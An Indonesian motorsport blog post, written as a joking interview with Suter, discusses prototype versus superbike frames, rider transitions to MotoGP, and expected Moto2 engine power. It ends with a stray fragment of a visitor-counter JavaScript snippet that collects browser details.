Kita lanjutkan wawancaranya Om Suter.. Maaf Anda saya buat menunggu begitu lama. Maklum, takut ditusuk sama Om Zorro….. Begini Om, mesin Honda kan diambil dari mesin motor supersport mereka, tetapi kenapa teknologi di Moto2 tidak berorientasi ke teknologi Supersport/ Superbike?
Hahaha.. tidak apa-apa anak muda, kan argonya tetap jalan. Oke, begini… Motor superbike dan supersport itu kan motor massal, rangkanya juga sama dengan yang bisa dimiliki konsumen biasa. Di GP yang dipakai adalah rangka prototipe yang punya karakter lebih kaku dan memungkinkan handling lebih presisi dibandingkan rangka massal, dan itu adalah sebuah perbedaan besar. Sebuah motor GP itu laksana pedang yang sangat tajam, sedangkan motor massal itu ya seperti “permen karet”. Motor GP bisa diajak bermanuver extrem dan menembus batas, dimana motor superbike sudah tidak sanggup meladeni dan kehilangan “form”nya. Karena batas ini dicapai terlebih dahulu oleh motor superbike dan memungkinkan toleransi yang besar, motor superbike lebih toleran bin pemaaf terhadap kesalahan pembalap, tetapi di sisi lain, kamu tidak akan bisa secepat jika kamu menggeber motor dengan rangka prototipe. Ukuran 0,5 meter sebagai ruang main di superbike mengecil hingga 10 cm saja! Disinilah dituntut kepresisian dan “perasaan” si pembalap! Karena itulah pengalaman di beberapa tahun terakhir menunjukkan, hijrahnya pembalap WSBK ke MotoGP sangat sulit bagi si pembalap. Beberapa bahkan bisa dibilang gagal.

Karena itukah pembalap top di MotoGP hampir semuanya datangnya dari GP 250 cc?

Saya pikir juga begitu, tetapi bukan berarti pembalap MotoGP yang bagus harus berasal dari GP 250. Kalau pembalap WSBK memiliki kepresisian yang dibutuhkan, tentu bisa saja dia sukses di MotoGP. Namun, kalau si pembalap datang dari balap supersport atau superbike, dia harus banyak belajar dulu. Beberapa bisa berhasil, yang lainnya tidah bisa-bisa alias gagal maning-gagal maning, ngerti ora Son? Seorang pembalap dari kelas 125 cc yang sampai ke MotoGP melalui jalur normal artinya sudah punya pengalaman 3-4 tahun mengendalikan motor prototip dengan handling yang punya tingkat kepresisian tinggi, karena itulah mereka hanya butuh waktu yang lebih sedikit untuk beradaptasi di kelas MotoGP.

Suter Racing kan kebagian order memproduksi kopling untuk kelas Moto2, apakah itu juga memudahkan Anda dalam mengembangkan rangka? Dapat bocoran gak seeeeeeeeeh?

Itu beda jauh dari pengembangan rangka! (Dalam hati: ni wartawan geblek amat seeeh!!) Kami sama sekali tidak dikasih celah untuk ngintip oleh Honda, apa yang Honda dan Geo Tech lakukan di Swiss.
Namun, kita kan sudah tahu mesin supersport Honda seperti apa dan bisa mengira-ngira tenaganya. Kamu tinggal pasang saja HRC racing kit atau beli peranti racing di toko ujung jalan, ya segitu deh kira-kira tenaganya. Karena itulah para konstruktor Moto2 tidak kesulitan mengembangkan motor mereka. Perkiraan tenaga mesin antara 120 hingga 160 PS pun bisa dipersempit hingga menjadi sekitar 140 PS, plus minus 5 PS lah. Kan bisa dibayangkan, mesin supersport hanya berumur pendek kalau dikorek hingga lebih dari 150 PS. Karena mesin Moto2 harus tahan geber hingga 3 kali race atau 1500 Km, artinya tenaga mesin Moto2 nantinya saya pikir lebih rendah dari 150 PS.

Sumber: idem sama yang lalu

var data, p;
var agt=navigator.userAgent.toLowerCase();
var img=escape(“counter02.png”);
document.cookie=’__support_check=1′;
p=’http’;
if((location.href.substr(0,6)==’https:’)||(location.href.substr(0,6)==’HTTPS:’)) {p=’https’;} data = ‘&agt=’ + escape(agt) + ‘&img=’ + img + ‘&r=’ + escape(document.referrer) + ‘&aN=’ + escape(navigator.appName) + ‘&lg=’ + escape(navigator.systemLanguage) + ‘&OS=’ + escape(navigator.platform) + ‘&aV=’ + escape(navigator.appVersion);
if(navigator.appVersion.substring(0,1)>’3′) {data = data + ‘&cd=’ + screen.colorDepth + ‘&p=’ + escape(screen.width+ ‘x’+screen.height) + ‘&je=’ + navigator.javaEnabled();};